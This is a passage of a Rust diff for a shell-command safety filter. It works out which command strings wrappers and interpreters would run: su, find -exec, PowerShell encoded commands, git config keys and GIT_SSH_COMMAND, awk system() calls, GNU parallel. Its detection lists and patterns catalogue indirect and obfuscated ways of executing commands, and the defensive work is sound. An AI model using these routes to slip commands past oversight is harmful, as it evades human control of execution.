true), + ("user", true), + ("help", false), + ("version", false), + ], +}; + +const FLOCK_OPTIONS: OptionTable = OptionTable { + short_value: "wEc", + short_optional: "", + short_flags: "sexnuoFhV", + long: &[ + ("shared", false), + ("exclusive", false), + ("nonblock", false), + ("nb", false), + ("unlock", false), + ("timeout", true), + ("wait", true), + ("conflict-exit-code", true), + ("close", false), + ("command", true), + ("no-fork", false), + ("verbose", false), + ("help", false), + ("version", false), + ], +}; + +const SCRIPT_OPTIONS: OptionTable = OptionTable { + short_value: "cEImoOBT", + short_optional: "t", + short_flags: "aefqhV", + long: &[ + ("append", false), + ("command", true), + ("echo", true), + ("return", false), + ("flush", false), + ("force", false), + ("log-in", true), + ("log-out", true), + ("log-io", true), + ("log-timing", true), + ("logging-format", true), + ("output-limit", true), + ("quiet", false), + ("timing", false), + ("help", false), + ("version", false), + ], +}; + +/// The options of `su`/`runuser`, `flock` and `script` that carry a command +/// string. +const CODE_OPTIONS: &[&str] = &["c", "C", "command", "session-command"]; + +fn code_option_table(program: &str) -> Option<&'static OptionTable> { + match program { + "su" => Some(&SU_OPTIONS), + "runuser" => Some(&RUNUSER_OPTIONS), + "flock" => Some(&FLOCK_OPTIONS), + "script" => Some(&SCRIPT_OPTIONS), + _ => None, + } +} + +/// Whether the option word `word` of the pass-through wrapper `program` +/// (`runuser`, `flock`, `script`) gives it a command string (`-c CMD`): the +/// wrapper then runs that string, not the words after it, so the prefix +/// stripping stops there and leaves the call to this module. +pub(super) fn wrapper_code_option(program: &str, word: &str) -> bool { + let Some(table) = code_option_table(program).filter(|_| program != "su") else { + return false; + }; + word.starts_with('-') + && word != "--" + && parse_option(table, word) + .0 + .iter() + .any(|opt| CODE_OPTIONS.contains(&opt.name.as_str())) +} + +/// Whether the option word `word` of a wrapper starts a shell (`sudo -i`, +/// `sudo -s`, `sudo --login`, `doas -s`, `systemd-run --shell`): without a +/// command, the shell reads its commands from stdin. +pub(super) fn starts_shell(program: &str, word: &str) -> bool { + let (letters, value_letters) = match program { + "sudo" => ("is", "aCcDghpRrTtUu"), + "doas" => ("s", "aCu"), + "systemd-run" => { + return passthrough_option_table(program).is_some_and(|table| { + word != "--" + && parse_option(table, word) + .0 + .iter() + .any(|opt| opt.name == "S" || opt.name == "shell") + }); + } + _ => return false, + }; + if word.starts_with("--") { + return program == "sudo" && sudo_long_option_may_be(word, &["login", "shell"]); + } + word.chars() + .skip(1) + .take_while(|c| !value_letters.contains(*c)) + .any(|c| letters.contains(c)) +} + +/// Whether the option word `word` of `runuser` names the user (`-u USER`), +/// so that `runuser` runs the words after the options directly. +pub(super) fn runuser_names_user(word: &str) -> bool { + word.starts_with('-') + && word != "--" + && parse_option(&RUNUSER_OPTIONS, word) + .0 + .iter() + .any(|opt| opt.name == "u" || opt.name == "user") +} + +/// Wrappers that start a shell when no command follows (`nsenter`, +/// `chroot`), and the form `prefix_strip` gives that call. +pub(super) const SHELL_WITHOUT_COMMAND: &[&str] = + &["nsenter", "chroot", "unshare", "pkexec", "run0"]; + +/// Shells `su -s` may start that read `-c` like `sh`. +const POSIX_SHELLS: &[&str] = &["sh", "bash", "dash", "ash", "ksh", "mksh", "zsh"]; + +/// `su`/`runuser`: the string of `-c`/`--command`/`--session-command` runs +/// in the user's shell. Without one, the shell reads its commands from +/// stdin (`runuser -u USER cmd` runs `cmd` directly and is stripped as a +/// prefix). +fn su(words: &Words, program: &str, found: &mut Found) { + let table = code_option_table(program).unwrap_or(&SU_OPTIONS); + let walked = walk(words, 1, usize::MAX, table, true); + found.unsure_if(walked.unknown); + let other_shell = walked.values(&["s", "shell"]).any(|shell| { + let shell = program_name(shell); + !POSIX_SHELLS.contains(&shell.as_str()) + }); + found.unsure_if(other_shell); + // Arguments after the user go to the shell as well. + let operands = walked + .operands + .iter() + .filter(|&&i| words.text(i) != "-") + .count(); + found.unsure_if(operands > 1); + for code in walked.values(CODE_OPTIONS) { + found.code(code); + } + // `su USER -- -c CMD`: the words after `--` go to the shell. + if let Some(dashes) = (1..words.len()).find(|&i| words.text(i) == "--") { + for i in dashes + 1..words.len() { + let text = words.text(i); + if text == "-c" { + found.code(words.text(i + 1)); + } else if let Some(code) = text.strip_prefix("-c").filter(|c| !c.is_empty()) { + found.code(code); + } + } + } + if found.codes.is_empty() && !(program == "runuser" && walked.has(&["u", "user"])) { + found.unsure(READS_STDIN); + } +} + +/// `flock … -c CMD`, `script -c CMD`: the string runs in a shell. +fn code_option_only(words: &Words, program: &str, found: &mut Found) { + let table = code_option_table(program).unwrap_or(&FLOCK_OPTIONS); + let walked = walk(words, 1, usize::MAX, table, true); + found.unsure_if(walked.unknown); + for code in walked.values(CODE_OPTIONS) { + found.code(code); + } + // `script` without a command starts a shell that reads stdin. + if program == "script" && found.codes.is_empty() { + found.unsure(READS_STDIN); + } +} + +/// `sg [-] [group [-c] command]`: the command string runs in `sh -c`; +/// without one, `sg` starts a shell that reads stdin. +fn sg(words: &Words, found: &mut Found) { + let mut i = 1; + if words.text(i) == "-" { + i += 1; + } + i += 1; + if words.text(i) == "-c" { + i += 1; + } + if i < words.len() { + found.code(words.joined(i, words.len())); + } else { + found.unsure(READS_STDIN); + } +} + +/// Words of a `find` expression that are not a starting point. +fn is_find_expression(word: &str) -> bool { + (word.starts_with('-') && word.len() > 1) || matches!(word, "(" | ")" | "!" | ",") +} + +/// `find`: the command of each `-exec`/`-execdir`/`-ok`/`-okdir` (up to `;` +/// or `{} +`) runs directly, with `{}` standing for a found path: the +/// starting points stand in for it. `-delete` removes what it finds, like +/// `rm -r` on the starting points. +fn find(words: &Words, found: &mut Found) { + let len = words.len(); + let mut i = 1; + while i < len { + match words.text(i) { + "-H" | "-L" | "-P" => i += 1, + "-D" => i += 2, + text if text.starts_with("-O") => i += 1, + _ => break, + } + } + let first_path = i; + while i < len && !is_find_expression(words.text(i)) { + i += 1; + } + let paths = if i > first_path { + words.raw(first_path, i) + } else { + ".".to_string() + }; + while i < len { + match words.text(i) { + "-exec" | "-execdir" | "-ok" | "-okdir" => { + let start = i + 1; + let mut end = start; + while end < len + && words.text(end) != ";" + && !(words.text(end) == "+" && end > start && words.text(end - 1) == "{}") + { + end += 1; + } + found.code(with_paths(&words.raw(start, end), &paths)); + i = end + 1; + } + "-delete" => { + found.code(format!("rm -r {paths}")); + i += 1; + } + _ => i += 1, + } + } +} + +/// `code` with each `{}` replaced by `paths`, as long as that keeps the text +/// within a bound of its length (and `paths` holds no `{}` itself, which +/// would grow it at every level of nested calls). +fn with_paths(code: &str, paths: &str) -> String { + let count = code.matches("{}").count(); + if count == 0 + || paths.contains('{') + || count.saturating_mul(paths.len()) > code.len().saturating_mul(2) + 4096 + { + return code.to_string(); + } + code.replace("{}", paths) +} + +const AT_OPTIONS: OptionTable = OptionTable { + short_value: "qft", + short_optional: "", + short_flags: "mMlrdbcvVo", + long: &[], +}; + +/// `at`/`batch` read the commands they schedule from stdin (or `-f FILE`); +/// listing, removing and printing jobs runs nothing. +fn at(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &AT_OPTIONS, true); + found.unsure_if(walked.unknown); + if !walked.has(&["l", "r", "d", "c"]) { + found.unsure(READS_STDIN); + } +} + +/// `cmd [/switches] /C|/K|/R command…`: the rest of the line is the +/// command; `cmd` reads it by its own rules (`^` escapes, `%VAR%`), so the +/// call needs at least `Confirm`. Without `/C`, `cmd` reads its commands +/// from stdin. +fn cmd(words: &Words, found: &mut Found) { + for i in 1..words.len() { + let text = words.text(i); + let lower = text.to_ascii_lowercase(); + if ["/c", "/k", "/r"] + .iter() + .any(|switch| lower.starts_with(switch)) + { + let attached = &text[2..]; + let rest = words.joined(i + 1, words.len()); + found.code(format!("{attached} {rest}").trim().to_string()); + found.unsure(FOREIGN_SYNTAX); + return; + } + } + found.unsure(READS_STDIN); +} + +/// PowerShell parameters that take a value (full name, accepted short +/// forms); a parameter may also be abbreviated to a unique prefix. +const POWERSHELL_VALUE_PARAMETERS: &[(&str, &[&str])] = &[ + ("executionpolicy", &["ex", "ep"]), + ("windowstyle", &["w"]), + ("outputformat", &["o", "of"]), + ("inputformat", &["if"]), + ("configurationname", &["config"]), + ("configurationfile", &[]), + ("version", &["v"]), + ("psconsolefile", &[]), + ("settingsfile", &["settings"]), + ("workingdirectory", &["wd", "wo"]), + ("custompipename", &[]), + ("encodedarguments", &["ea", "encodeda"]), +]; + +const POWERSHELL_FLAG_PARAMETERS: &[(&str, &[&str])] = &[ + ("noprofile", &["nop"]), + ("noninteractive", &["noni"]), + ("nologo", &[]), + ("noexit", &["noe"]), + ("sta", &[]), + ("mta", &[]), + ("login", &["l"]), + ("interactive", &[]), + ("help", &["h", "?"]), +]; + +fn powershell_parameter(name: &str, table: &[(&str, &[&str])]) -> bool { + table + .iter() + .any(|(full, short)| short.contains(&name) || (name.len() >= 2 && full.starts_with(name))) +} + +/// `powershell`/`pwsh`: the words after `-Command`/`-c` (or the first +/// positional one) are PowerShell code, read here like a command line but +/// at least `Confirm`, since PowerShell has its own syntax. The code of +/// `-EncodedCommand` (Base64 of UTF-16LE) is decoded for the checks where +/// it can be. `-File` runs a script operand. +fn powershell(words: &Words, found: &mut Found) { + let len = words.len(); + let mut i = 1; + while i < len { + let text = words.text(i); + let Some(name) = text + .strip_prefix(['-', '/', '\u{2013}', '\u{2014}']) + .map(|name| name.trim_start_matches('-').to_ascii_lowercase()) + else { + found.code(words.joined(i, len)); + found.unsure(FOREIGN_SYNTAX); + return; + }; + let next = words.text(i + 1); + if name.is_empty() || ((name == "f" || "file".starts_with(&name)) && next == "-") { + found.unsure(READS_STDIN); + return; + } + if "command".starts_with(&name) || name == "cwa" || name.starts_with("commandw") { + if next == "-" { + found.unsure(READS_STDIN); + } else { + found.code(words.joined(i + 1, len)); + found.unsure(FOREIGN_SYNTAX); + } + return; + } + if name == "e" || name == "ec" || (name.len() >= 2 && "encodedcommand".starts_with(&name)) { + found.unsure(ENCODED); + if let Some(code) = decode_encoded_command(next) { + found.code(code); + } + return; + } + if name == "f" || "file".starts_with(&name) { + return; + } + if powershell_parameter(&name, POWERSHELL_VALUE_PARAMETERS) { + i += 2; + continue; + } + found.unsure_if(!powershell_parameter(&name, POWERSHELL_FLAG_PARAMETERS)); + i += 1; + } + found.unsure(READS_STDIN); +} + +/// The code of a `-EncodedCommand` value: Base64 of UTF-16LE text. +fn decode_encoded_command(value: &str) -> Option { + use base64::Engine as _; + let bytes = base64::engine::general_purpose::STANDARD + .decode(value.trim()) + .ok()?; + let units: Vec = bytes + .as_chunks::<2>() + .0 + .iter() + .map(|pair| u16::from_le_bytes(*pair)) + .collect(); + Some(String::from_utf16_lossy(&units)) +} + +#[cfg(test)] +mod tests; diff --git a/crates/core/src/filter/command_runners/git.rs b/crates/core/src/filter/command_runners/git.rs new file mode 100644 index 000000000..c5e9ffcad --- /dev/null +++ b/crates/core/src/filter/command_runners/git.rs @@ -0,0 +1,228 @@ +//! `git`: settings, options and subcommands whose value is a command line. + +use super::{Found, Words, UNSURE_OPTIONS}; + +/// Settings whose value is a command line (lower case). +const COMMAND_KEYS: &[&str] = &[ + "core.sshcommand", + "core.pager", + "core.editor", + "core.fsmonitor", + "core.askpass", + "core.gitproxy", + "sequence.editor", + "diff.external", + "gpg.program", + "credential.helper", + "uploadpack.packobjectshook", +]; + +/// Settings `section.NAME.key` whose value is a command line. +const NAMED_COMMAND_KEYS: &[(&str, &[&str])] = &[ + ("filter", &["clean", "smudge", "process"]), + ("diff", &["command", "textconv"]), + ("difftool", &["cmd"]), + ("mergetool", &["cmd"]), + ("merge", &["driver"]), + ("gpg", &["program"]), + ("remote", &["uploadpack", "receivepack", "proxy"]), + ("credential", &["helper"]), +]; + +/// Settings that make git run programs from elsewhere (a hooks directory, +/// another config file, the `ext::` transport). +const UNREADABLE_KEYS: &[&str] = &[ + "core.hookspath", + "include.path", + "protocol.allow", + "init.templatedir", +]; + +/// Global options that take the next word as their value. +const VALUE_OPTIONS: &[&str] = &[ + "-C", + "--git-dir", + "--work-tree", + "--namespace", + "--super-prefix", + "--attr-source", + "--list-cmds", +]; + +/// Environment variables whose value is a command line for git. +const COMMAND_VARIABLES: &[&str] = &[ + "GIT_SSH_COMMAND", + "GIT_SSH", + "GIT_PAGER", + "GIT_EDITOR", + "GIT_SEQUENCE_EDITOR", + "GIT_EXTERNAL_DIFF", + "GIT_ASKPASS", + "GIT_PROXY_COMMAND", +]; + +/// `git [-c KEY=VALUE]… subcommand …`: command-valued settings +/// (`alias.x='!cmd'`, `core.sshCommand`, `filter.x.smudge`, …), options of +/// the subcommand (`--upload-pack`, `rebase --exec`), `submodule foreach`, +/// `bisect run` and `ext::` URLs. +pub(super) fn git(words: &Words, found: &mut Found) { + let len = words.len(); + let mut i = 1; + while i < len { + let text = words.text(i); + if VALUE_OPTIONS.contains(&text) { + i += 2; + continue; + } + let setting = match text { + "-c" => { + i += 1; + words.text(i) + } + "--config-env" => { + found.unsure(UNSURE_OPTIONS); + i += 2; + continue; + } + _ if text.starts_with("--config-env=") => { + found.unsure(UNSURE_OPTIONS); + i += 1; + continue; + } + _ if text.starts_with("-c") => &text[2..], + _ if text.starts_with('-') => { + i += 1; + continue; + } + _ => break, + }; + i += 1; + setting_commands(setting, found); + } + subcommand(words, i, found); +} + +/// The command line a `KEY=VALUE` setting runs, if it is one. +fn setting_commands(setting: &str, found: &mut Found) { + let Some((key, value)) = setting.split_once('=') else { + return; + }; + let key = key.to_ascii_lowercase(); + let value = value.trim(); + if let Some(command) = value.strip_prefix('!') { + if key.starts_with("alias.") || key.starts_with("credential.") { + found.code(command); + return; + } + } + let named = |section: &str, keys: &[&str]| { + key.strip_prefix(section) + .and_then(|rest| rest.strip_prefix('.')) + .and_then(|rest| rest.rsplit_once('.')) + .is_some_and(|(_, last)| keys.contains(&last)) + }; + if COMMAND_KEYS.contains(&key.as_str()) + || key.starts_with("pager.") + || NAMED_COMMAND_KEYS.iter().any(|(s, keys)| named(s, keys)) + { + found.code(value); + } + let unreadable = UNREADABLE_KEYS.contains(&key.as_str()) + || (key.starts_with("protocol.") && key.ends_with(".allow")) + || key.starts_with("includeif."); + found.unsure_if(unreadable); +} + +/// Options and arguments of the subcommand at word `at` that run commands. +/// git takes a unique prefix of a long option and clustered short options; +/// any prefix of an option below counts. +fn subcommand(words: &Words, at: usize, found: &mut Found) { + let len = words.len(); + let name = words.text(at); + let mut next = at + 1; + while words.text(next).starts_with('-') { + next += 1; + } + match (name, words.text(next)) { + ("submodule", "foreach") => { + let mut from = next + 1; + while words.text(from).starts_with('-') { + from += 1; + } + found.code(words.joined(from, len)); + return; + } + ("bisect", "run") => { + found.code(words.raw(next + 1, len)); + return; + } + _ => {} + } + let (long, short): (&[&str], &str) = match name { + "clone" | "ls-remote" => (&["upload-pack"], "u"), + "fetch" | "pull" => (&["upload-pack"], ""), + "push" | "send-pack" => (&["receive-pack", "exec"], ""), + "archive" => (&["exec"], ""), + "rebase" => (&["exec"], "x"), + "difftool" => (&["extcmd"], "x"), + _ => (&[], ""), + }; + // `--template DIR`: hooks from there run. + let template = matches!(name, "clone" | "init") + && (at + 1..len).any(|i| { + let option = words.text(i).split('=').next().unwrap_or_default(); + option.len() > 3 && "--template".starts_with(option) + }); + found.unsure_if(template); + let mut i = at + 1; + while i < len { + let text = words.text(i); + if let Some(url) = text.strip_prefix("ext::") { + found.code(url.replace("% ", " ").replace("%%", "%")); + } + if let Some(option) = text.strip_prefix("--") { + let (option, value) = match option.split_once('=') { + Some((option, value)) => (option, Some(value)), + None => (option, None), + }; + if !option.is_empty() && long.iter().any(|full| full.starts_with(option)) { + match value { + Some(value) => found.code(value), + None => { + found.code(words.text(i + 1)); + i += 1; + } + } + } + } else if let Some(letters) = text.strip_prefix('-') { + if let Some(at) = letters.find(|c| short.contains(c)) { + let value = &letters[at + 1..]; + if value.is_empty() { + found.code(words.text(i + 1)); + i += 1; + } else { + found.code(value); + } + } + } + i += 1; + } +} + +/// Assignments in front of the `git` word at `git` (`GIT_SSH_COMMAND=… git`, +/// also behind or between wrappers such as `env`, `sudo` or `timeout`) whose +/// value is a command line, a set of settings or a place git runs programs +/// from (hooks of a template, `git-*` commands). +pub(super) fn variables(words: &Words, git: usize, found: &mut Found) { + for i in 0..git { + let Some((name, value)) = words.text(i).split_once('=') else { + continue; + }; + if COMMAND_VARIABLES.contains(&name) { + found.code(value); + } + found.unsure_if( + name.starts_with("GIT_CONFIG") || name == "GIT_TEMPLATE_DIR" || name == "GIT_EXEC_PATH", + ); + } +} diff --git a/crates/core/src/filter/command_runners/languages.rs b/crates/core/src/filter/command_runners/languages.rs new file mode 100644 index 000000000..c64df6864 --- /dev/null +++ b/crates/core/src/filter/command_runners/languages.rs @@ -0,0 +1,310 @@ +//! Code in another language that can start a command: `awk` programs, Lua, +//! R, AppleScript, and the code of `python -c`, `perl -e` and the like. The +//! language itself is not read; the shell commands its usual calls +//! (`system("…")`, `os.execute("…")`, `subprocess.run([…])`, backticks) +//! pass as string literals are evaluated where they can be found. + +use std::sync::OnceLock; + +use regex::Regex; + +use super::{walk, Found, Words, READS_STDIN}; +use crate::filter::parser::{program_source, ProgramSource}; +use crate::filter::wrapper_options::OptionTable; + +const OTHER_LANGUAGE: &str = "Programm führt Code einer anderen Sprache aus (awk, Lua, R, \ + AppleScript, ...), der weitere Kommandos starten kann"; + +/// A call that starts a command, followed by its string argument(s). +fn command_call() -> &'static Regex { + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| { + Regex::new( + r#"(?:\bsystem2?|\bos\.execute|\bpopen|\bPopen|\bexec(?:Sync|FileSync|vp?|lp?)?|\bspawn(?:Sync)?|\bshell_exec|\bpassthru|\bproc_open|\bcheck_call|\bcheck_output|\bcall|\brun|\bgetoutput|\bgetstatusoutput|\bshell\s+script)\s*\(?\s*(\[[^\]]*\]|"(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*')"#, + ) + .expect("command call regex is valid") + }) +} + +fn string_literal() -> &'static Regex { + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| { + Regex::new(r#""((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)'"#).expect("string regex is valid") + }) +} + +/// Backticks (`` `cmd` ``, Perl/Ruby/PHP) and awk's `print | "cmd"` / +/// `"cmd" | getline`. +fn piped_or_backticked() -> &'static Regex { + static RE: OnceLock = OnceLock::new(); + RE.get_or_init(|| { + Regex::new(r#"`([^`]*)`|\|&?\s*"((?:[^"\\]|\\.)*)"|"((?:[^"\\]|\\.)*)"\s*\|&?\s*getline"#) + .expect("pipe regex is valid") + }) +} + +/// The shell commands `code` passes to the calls above as string literals; +/// a list (`["docker", "rm", "x"]`) is one command of its strings. +pub(super) fn embedded_commands(code: &str) -> Vec { + let unescape = |text: &str| text.replace("\\\"", "\"").replace("\\'", "'"); + let mut commands = Vec::new(); + for call in command_call().captures_iter(code) { + let argument = &call[1]; + let strings: Vec = string_literal() + .captures_iter(argument) + .filter_map(|s| s.get(1).or_else(|| s.get(2))) + .map(|s| unescape(s.as_str())) + .collect(); + if !strings.is_empty() { + commands.push(strings.join(" ")); + } + } + for found in piped_or_backticked().captures_iter(code) { + if let Some(text) = found + .get(1) + .or_else(|| found.get(2)) + .or_else(|| found.get(3)) + { + commands.push(unescape(text.as_str())); + } + } + commands +} + +/// Whether `code` (an awk program) can start a command: `system()`, a pipe +/// to or from a command (`print | cmd`, `cmd | getline`, `|&`) or an +/// indirect call (`@name()`, gawk), wherever the command string comes from. +/// Whether a `/` starts a regular expression or divides depends on awk's +/// grammar (`a / 2`, `print /x/`, `x++/2`); the text is read both ways and +/// either reading counts. +fn awk_runs_commands(code: &str) -> bool { + [false, true].into_iter().any(|by_grammar| { + let code = awk_without_literals(code, by_grammar); + let bytes = code.as_bytes(); + let pipe = bytes.iter().enumerate().any(|(i, &b)| { + b == b'|' && bytes.get(i + 1) != Some(&b'|') && (i == 0 || bytes[i - 1] != b'|') + }); + pipe || code.contains("system") || code.contains('@') + }) +} + +/// awk keywords after which a `/` starts a regular expression. +const AWK_KEYWORDS: &[&str] = &[ + "BEGIN", + "END", + "BEGINFILE", + "ENDFILE", + "function", + "func", + "if", + "else", + "while", + "for", + "do", + "break", + "continue", + "next", + "nextfile", + "exit", + "return", + "delete", + "in", + "getline", + "print", + "printf", + "case", + "default", + "switch", +]; + +/// `code` without its string and regular-expression literals, so a `|` in +/// `/a|b/` is no pipe. Without `by_grammar`, a `/` only starts a regular +/// expression where no operand can end before it (at the start, after `(`, +/// `,`, `~`, `!`, `{`, `}`, `;`, `&&`, `||` or a line break). With it, as +/// awk reads it: a `/` divides only after a number, a name that is no +/// keyword, `]` or a literal, and starts a regular expression elsewhere +/// (also after `=`, `$`, `+`, `?`). After `)` it can be either (`(a)/2`, +/// `if (x) /re/`), so this reading takes it as a regular expression. +fn awk_without_literals(code: &str, by_grammar: bool) -> String { + let mut result = String::with_capacity(code.len()); + let mut chars = code.chars().peekable(); + let mut last: Option = None; + let mut word = String::new(); + let mut after_literal = false; + while let Some(c) = chars.next() { + let regex = c == '/' && { + if by_grammar { + let operand = after_literal + || last.is_some_and(|l| l.is_ascii_digit() || matches!(l, '.' | ']')) + || (last.is_some_and(|l| l.is_alphanumeric() || l == '_') + && !AWK_KEYWORDS.contains(&word.as_str())); + !operand + } else { + last.is_none_or(|l| { + matches!( + l, + '(' | ',' | '~' | '!' | '{' | '}' | ';' | '&' | '|' | '\n' + ) + }) + } + }; + if c == '"' || regex { + while let Some(inner) = chars.next() { + if inner == '\\' { + chars.next(); + } else if inner == c || inner == '\n' { + break; + } + } + result.push(' '); + after_literal = true; + last = Some(c); + word.clear(); + continue; + } + result.push(c); + if c.is_alphanumeric() || c == '_' { + if !last.is_some_and(|l| l.is_alphanumeric() || l == '_') { + word.clear(); + } + word.push(c); + } + if c == '\n' || !c.is_whitespace() { + after_literal = false; + last = Some(c); + } + } + result +} + +/// `python -c`, `perl -e`, `ruby -e`, `node -e`, `php -r`: the engine +/// already asks for `Confirm` and evaluates the code as a command; here the +/// commands it passes to `system` and the like are added. +pub(super) fn interpreter(form: &str, found: &mut Found) { + if let Some(ProgramSource::Code(codes)) = program_source(form) { + for code in codes { + embedded_commands(&code) + .into_iter() + .for_each(|command| found.code(command)); + } + } +} + +/// Whether `name` is a script interpreter that `program_source` reads. +pub(super) fn is_interpreter(name: &str) -> bool { + ["python", "pypy"].iter().any(|prefix| { + name.strip_prefix(prefix) + .is_some_and(|v| v.chars().all(|c| c.is_ascii_digit() || c == '.')) + }) || matches!(name, "perl" | "ruby" | "node" | "nodejs" | "php") +} + +const AWK_OPTIONS: OptionTable = OptionTable { + short_value: "FvfeEilW", + short_optional: "", + short_flags: "bcCdDghMnNoOpPrsStV", + long: &[ + ("field-separator", true), + ("assign", true), + ("file", true), + ("source", true), + ("exec", true), + ("include", true), + ("load", true), + ("characters-as-bytes", false), + ("traditional", false), + ("copyright", false), + ("dump-variables", false), + ("debug", false), + ("gen-pot", false), + ("help", false), + ("lint", false), + ("bignum", false), + ("use-lc-numeric", false), + ("non-decimal-data", false), + ("optimize", false), + ("profile", false), + ("pretty-print", false), + ("posix", false), + ("re-interval", false), + ("no-optimize", false), + ("sandbox", false), + ("version", false), + ], +}; + +/// `awk [options] 'program' files…`, `-e`/`--source` programs: a program +/// that can start a command (`system()`, a pipe to or from a command) +/// needs `Confirm`; the commands found in it are evaluated. +pub(super) fn awk(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &AWK_OPTIONS, true); + found.unsure_if(walked.unknown); + let mut programs: Vec<&str> = walked.values(&["e", "source"]).collect(); + if programs.is_empty() && !walked.has(&["f", "file", "E", "exec"]) { + programs.extend(walked.operands.first().map(|&i| words.text(i))); + } + for program in programs { + if awk_runs_commands(program) { + found.unsure(OTHER_LANGUAGE); + embedded_commands(program) + .into_iter() + .for_each(|command| found.code(command)); + } + } +} + +/// Options of `lua`, `Rscript` and `osascript` that take code, and those +/// that take another value. +const LUA_OPTIONS: OptionTable = OptionTable { + short_value: "el", + short_optional: "", + short_flags: "iEvW", + long: &[], +}; + +const OSASCRIPT_OPTIONS: OptionTable = OptionTable { + short_value: "els", + short_optional: "", + short_flags: "i", + long: &[], +}; + +const RSCRIPT_OPTIONS: OptionTable = OptionTable { + short_value: "e", + short_optional: "", + short_flags: "", + long: &[ + ("verbose", false), + ("default-packages", false), + ("no-environ", false), + ("no-site-file", false), + ("no-init-file", false), + ("vanilla", false), + ("help", false), + ("version", false), + ], +}; + +/// `lua -e CODE`, `Rscript -e EXPR`, `osascript -e STATEMENT`: code in +/// another language, `Confirm`; without code or a script operand the +/// program is read from stdin. +pub(super) fn other_language(words: &Words, name: &str, found: &mut Found) { + let table = match name { + "osascript" => &OSASCRIPT_OPTIONS, + "rscript" => &RSCRIPT_OPTIONS, + _ => &LUA_OPTIONS, + }; + let walked = walk(words, 1, usize::MAX, table, false); + let codes: Vec<&str> = walked.values(&["e"]).collect(); + if codes.is_empty() { + if walked.end >= words.len() || words.text(walked.end) == "-" { + found.unsure(READS_STDIN); + } + return; + } + found.unsure(OTHER_LANGUAGE); + for code in codes { + embedded_commands(code) + .into_iter() + .for_each(|command| found.code(command)); + } +} diff --git a/crates/core/src/filter/command_runners/parallel.rs b/crates/core/src/filter/command_runners/parallel.rs new file mode 100644 index 000000000..0c78401d7 --- /dev/null +++ b/crates/core/src/filter/command_runners/parallel.rs @@ -0,0 +1,480 @@ +//! GNU `parallel`: the command line it builds from its command and its +//! arguments. + +use super::{languages, program_name, walk, Found, Words, READS_STDIN, UNSURE_OPTIONS}; +use crate::filter::wrapper_options::OptionTable; + +const PARALLEL_OPTIONS: OptionTable = OptionTable { + short_value: "aCdEIjJLnNPsS", + short_optional: "ilD", + short_flags: "0hkmpqrtuvVxX", + long: &[ + ("arg-file", true), + ("arg-file-sep", true), + ("arg-sep", true), + ("basefile", true), + ("bf", true), + ("bar", false), + ("bg", false), + ("block", true), + ("block-size", true), + ("cat", false), + ("colsep", true), + ("compress", false), + ("ctagstring", true), + ("delay", true), + ("delimiter", true), + ("dry-run", false), + ("env", true), + ("eof", true), + ("eta", false), + ("fg", false), + ("fifo", false), + ("group", false), + ("halt", true), + ("halt-on-error", true), + ("header", true), + ("help", false), + ("jobs", true), + ("joblog", true), + ("keep-order", false), + ("line-buffer", false), + ("linebuffer", false), + ("load", true), + ("max-args", true), + ("max-chars", true), + ("max-lines", true), + ("max-procs", true), + ("max-replace-args", true), + ("memfree", true), + ("memsuspend", true), + ("nice", true), + ("no-run-if-empty", false), + ("null", false), + ("pipe", false), + ("pipe-part", false), + ("pipepart", false), + ("plus", false), + ("progress", false), + ("quote", false), + ("recend", true), + ("recstart", true), + ("replace", true), + ("res", true), + ("results", true), + ("resume", false), + ("resume-failed", false), + ("retries", true), + ("return", true), + ("round-robin", false), + ("shuf", false), + ("silent", false), + ("sshdelay", true), + ("sshlogin", true), + ("sshloginfile", true), + ("slf", true), + ("tag", false), + ("tagstring", true), + ("tee", false), + ("timeout", true), + ("tmpdir", true), + ("tempdir", true), + ("transferfile", true), + ("tf", true), + ("trim", true), + ("ungroup", false), + ("verbose", false), + ("version", false), + ("will-cite", false), + ("wd", true), + ("workdir", true), + ("xapply", false), + ("link", false), + ], +}; + +/// `parallel [options] [command] ::: args… [::: args…]`. +/// +/// With a command, each job runs it in a shell with its arguments in place +/// of the replacement strings (`{}`, `{1}`, `{.}`, or the string of `-I`), +/// or appended. Without a command, each argument is a command (with the +/// arguments of further groups appended, so that case needs `Confirm`). +/// Arguments from a file (`::::`, `-a`) or stdin cannot be read; `{= … =}` +/// is Perl code. +pub(super) fn parallel(words: &Words, found: &mut Found) { + let walked = walk(words, 1, usize::MAX, &PARALLEL_OPTIONS, false); + found.unsure_if(walked.unknown); + let arg_sep = walked.values(&["arg-sep"]).last().unwrap_or(":::"); + let file_sep = walked.values(&["arg-file-sep"]).last().unwrap_or("::::"); + let separator = |word: &str| { + let word = word.strip_suffix('+').unwrap_or(word); + if word == arg_sep { + Some(true) + } else if word == file_sep { + Some(false) + } else { + None + } + }; + let len = words.len(); + let first_group = (walked.end..len) + .find(|&i| separator(words.text(i)).is_some()) + .unwrap_or(len); + let template = words.joined(walked.end, first_group); + let mut groups: Vec> = Vec::new(); + let mut from_file = walked.has(&["a", "arg-file"]) || first_group == len; + let mut literal = true; + // `:::+` pairs a group with the one before; `:::` combines them. + let mut linked = walked.has(&["link", "xapply"]); + for i in first_group..len { + match separator(words.text(i)) { + Some(true) => { + linked |= !groups.is_empty() && words.text(i).ends_with('+'); + groups.push(Vec::new()); + literal = true; + } + Some(false) => { + from_file = true; + literal = false; + } + None if literal => groups + .last_mut() + .into_iter() + .for_each(|g| g.push(words.text(i))), + None => {} + } + } + if template.contains("{=") { + found.unsure(UNSURE_OPTIONS); + languages::embedded_commands(&template) + .into_iter() + .for_each(|code| found.code(code)); + } + if template.is_empty() { + if from_file { + found.unsure(READS_STDIN); + } + let Some((first, rest)) = groups.split_first() else { + return; + }; + let rest: Vec<&str> = rest.iter().flatten().copied().collect(); + if !rest.is_empty() { + found.unsure(UNSURE_OPTIONS); + } + first.iter().for_each(|arg| found.code(*arg)); + rest.iter().for_each(|arg| found.code(*arg)); + if let Some(arg) = first.first().filter(|_| !rest.is_empty()) { + found.code(format!("{arg} {}", rest.join(" "))); + } + return; + } + let custom: Vec<&str> = walked + .values(&["I", "replace"]) + .filter(|marker| !marker.is_empty()) + .collect(); + if from_file && custom.iter().chain(&["{"]).any(|m| template.starts_with(m)) { + found.unsure(READS_STDIN); + } + // Each job runs on its own line, with every replacement string filled + // in: one line per job, as long as they stay within a bound of the + // call's length. Lines 